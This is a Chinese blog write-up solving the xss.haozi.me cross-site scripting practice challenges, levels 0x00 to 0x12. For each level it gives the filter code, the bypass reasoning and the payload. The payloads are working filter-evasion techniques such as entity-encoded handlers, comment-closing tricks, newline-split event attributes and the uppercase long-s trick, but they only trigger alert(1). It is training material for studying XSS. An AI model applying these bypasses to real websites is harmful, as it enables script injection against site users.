小言_互联网的博客

xss-haizi-me通关记录

334人阅读  评论(0)

传送门

0x00

server code:

function render (input) {
   
  return '<div>' + input + '</div>'
}

input code:

<script>alert(1)</script>

html:

<div><script>alert(1)</script></div>
0x01

server code:

function render (input) {
   
  return '<textarea>' + input + '</textarea>'
}

这一关插入的地方在html标签里面,所以要先闭合<textarea>标签
input code:

</textarea><script>alert(1)</script>

html:

<textarea></textarea><script>alert(1)</script></textarea>
0x02

server code:

function render (input) {
   
  return '<input type="name" value="' + input + '">'
}

input的地方在尖括号内部,需要先闭合尖括号
input code:

"><script>alert(1)</script>

html:

<input type="name" value=""><script>alert(1)</script>">
0x03

server code:

function render (input) {
   
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

这一关用正则表达式过滤了括号(替换为空),这里有个小tip,可以用反引号代替圆括号。

input code:

<script>alert`1`</script>

html:

<script>alert`1`</script>

0x04

server code:

function render (input) {
   
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

过滤了圆括号和反引号,所以上一关的方法就不能用了。

可以用各种编码进行绕过,如url编码、unicode编码…

  • <svg>标签中可以直接执行实体字符,payload2

  • h5中iframe标签(iframe 元素会创建包含另外一个文档的内联框架)的srcdoc属性,srcdoc里的代码会作为iframe中的内容显示出来,srcdoc中可以直接去写转译后的html片段

input code & html:

<img src=# onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

<img src=1 οnerrοr=location="javascript:alert%281%29">

<svg><script>alert&#40;1&#41;</script>

<iframe srcdoc="<script>alert&#40;1&#41;</script>">
0x05

server code:

function render (input) {
   
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

这一关将html中的注释符-->替换成了一个表情,并且输入的内容是包含在一段注释符里的。

html通常的的注释符为:<!-- -->,测试发现<!- -!><!-- --!>同样可以进行注释,这里可利用--!>来闭合。

input code:

--!><script>alert(1)</script>

--!><img src=# onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

html:

<!-- --!><script>alert(1)</script> 

<!-- --!><img src=# οnerrοr=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;> -->
0x06

server code:

function render (input) {
   
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${
     input} type="text">`
}

过滤了以autoon开头,=结尾的标签属性,并用下划线_进行替换,同时忽略大小写。

可以用换行使onxxx不和=连接,这样就可以避免被过滤。HTML DOM 事件

属性 描述
onclick 当用户点击某个对象时调用的事件句柄
onfocus 元素获取焦点时触发
onmouseover 鼠标移到某元素之上

input code:

onfocus
=alert(1)  需要鼠标点击框

onclick
=alert(1)  需要鼠标点击框

onmouseover
=alert(1)  需要鼠标放在框上

type=image src=# onerror
=alert(1)  直接弹

html:

<input value=1 onmouseover
=alert(1)
 type="text">
或
<input value=1 type=image src=# onerror
=alert(1) type="text">
0x07

server code:

function render (input) {
   
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${
     input}</article>`
}

正则匹配了以<</开头,>/>结尾的标签,并替换为空。
去掉最后面的>利用浏览器容错性运行

input code:(第一个最后还有个空格或回车用来中断属性值)

<img src="x" οnerrοr=alert(1) 

<img src=# οnerrοr="alert(1)"

html:

<article><img src="x" οnerrοr=alert(1) </article>
    
<article><img src=# οnerrοr="alert(1)"</article>
0x08

server code:

function render (src) {
   
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${
     src}
    </style>
  `
}

过滤了</style>标签,忽略大小写。

因为我们需要用到</style>来闭合标签,所以可以通过空格进行绕过。

input code:

</style ><script>alert(1)</script>

html:

<style>
      </style ><script>alert(1)</script>
    </style>
0x09

server code:

function render (input) {
   
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
   
    return `<script src="${
     input}"></script>`
  }
  return 'Invalid URL'
}

要求输入的值要以https://www.segmentfault.com开头,否则返回Invalid URL但是并没有限制结尾,所以闭合掉<script>标签

input code:

https://www.segmentfault.com"></script><a href="" onmouseover=alert(1)>111</a>

http://www.segmentfault.com"></script><img src=# οnerrοr="alert(1)

html:

<script src="https://www.segmentfault.com"></script><a href="" onmouseover=alert(1)>111</a>"></script>

<script src="http://www.segmentfault.com"></script><img src=# onerror="alert(1)"></script>
0x0A

server code:

function render (input) {
   
  function escapeHtml(s) {
   
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
   
    return `<script src="${
     escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

同样要求输入的值要以https://www.segmentfault.com开头,但是过滤了& ' " < > /,这个过滤。

前面给出的包含alert(1);的js文件就派上用场了。

input code:

https://www.segmentfault.com@xss.haozi.me/j.js

html:

<script src="https:&#x2f&#x2fwww.segmentfault.com@xss.haozi.me&#x2fj.js"></script>
0x0B

server code:

function render (input) {
   
  input = input.toUpperCase()
  return `<h1>${
     input}</h1>`
}

这里将输入值全部转换成了大写。

  • html标签不区分;
  • 域名不区分大小写
  • js严格区分大小写。

因此这里可以利用html标签引用外部js资源,但是这里引用前面给的https://xss.haozi.me/j.js还是不行,根据官方解答,需要引用https://www.segmentfault.com.haozi.me/j.js这个链接才行…无语。

这里也可利用编码来进行绕过,对js代码进行编码处理, 而html部分不变

input code:

<img src="x" onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

html:

<h1><IMG SRC="X" ONERROR=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;></h1>
0x0C

server code:

function render (input) {
   
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

将script替换为空,正则全局匹配且不区分大小写.

这里可以直接用上一题的payload…也可以双写script,引用外部js资源,同样还是需要引用https://www.segmentfault.com.haozi.me/j.js这个链接才行…

input code:

<img src="x" onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

html:

<h1><IMG SRC="X" ONERROR=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;></h1>
0x0D

server code:

function render (input) {
   
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${
     input}')
    </script>
  `
}

过滤了< / " ',但input的地方前面有个//,这是js的单行注释符,可以通过换行来破坏,然后再用-->将后面的')注释掉。<!---->都可以在html的script标签里单独使用进行单行注释.,这里<被过滤了,所以使用-->

input code:

alert(1);
-->

html:

<script>
          // alert('
alert(1);
-->')
    </script>
0x0E

server code:

function render (input) {
   
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

匹配以<起始的字符,替换为<_$1,并且把输入转换为大写,这样这样的标签就都用不了了。

有一个ſ字符,是古英语中s的写法,ſ转换为大写后正好为S,这样就可以绕过正则使用

input code:

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

html:

<h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT></h1>
0x0F

server code:

function render (input) {
   
  function escapeHtml(s) {
   
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src οnerrοr="console.error('${
     escapeHtml(input)}')">`
}

过滤了& ' " < > /,转换为了html实体编码,但是由于input code在img标签内,所以html实体编码是可以被直接解析的。
所以闭合前面的标签,在构造语句即可。

console.error() 方法用于输出错误信息到控制台。

input code:

');alert('1

html:

<img src onerror="console.error('&#39;);alert(&#39;1')">

实际上就是
<img src onerror="console.error('');alert('1')">
0x10

server code:

function render (input) {
   
  return `
<script>
  window.data = ${
     input}
</script>
  `
}

由于input是在script标签里面,且没有任何过滤,所以直接用;闭合前面的语句,构造下一条语句即可。

input code:

1;alert(1)

html:

<script>
  window.data = 1;alert(1)
</script>
0x11

server code:

// from alf.nu
function render (s) {
   
  function escapeJs (s) {
   
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${
     s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

用反斜杠转义了一堆字符,但是"被转义成\"正好可以闭合console.log("\"),既然闭合了前面的语句那么之后就构造后面的语句就行了。

console.log() 方法用于在控制台输出信息。

input code:

"),alert(1)("

html:

<script>
  var url = 'javascript:console.log("\"),alert(1)(\"")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
0x12

server code:

// from alf.nu
function escape (s) {
   
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

匹配"替换为\",这里直接用\")闭合前面的双引号会被转义,所以在加一个\来转义\即可。

input code:

\");alert(1);</script>

</script> <script>alert(1)</script><script>

html:

<script>console.log("\\");alert(1);</script>");</script>

<script>console.log("</script> <script>alert(1)</script><script>");</script>

转载:https://blog.csdn.net/weixin_50597969/article/details/115670633
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场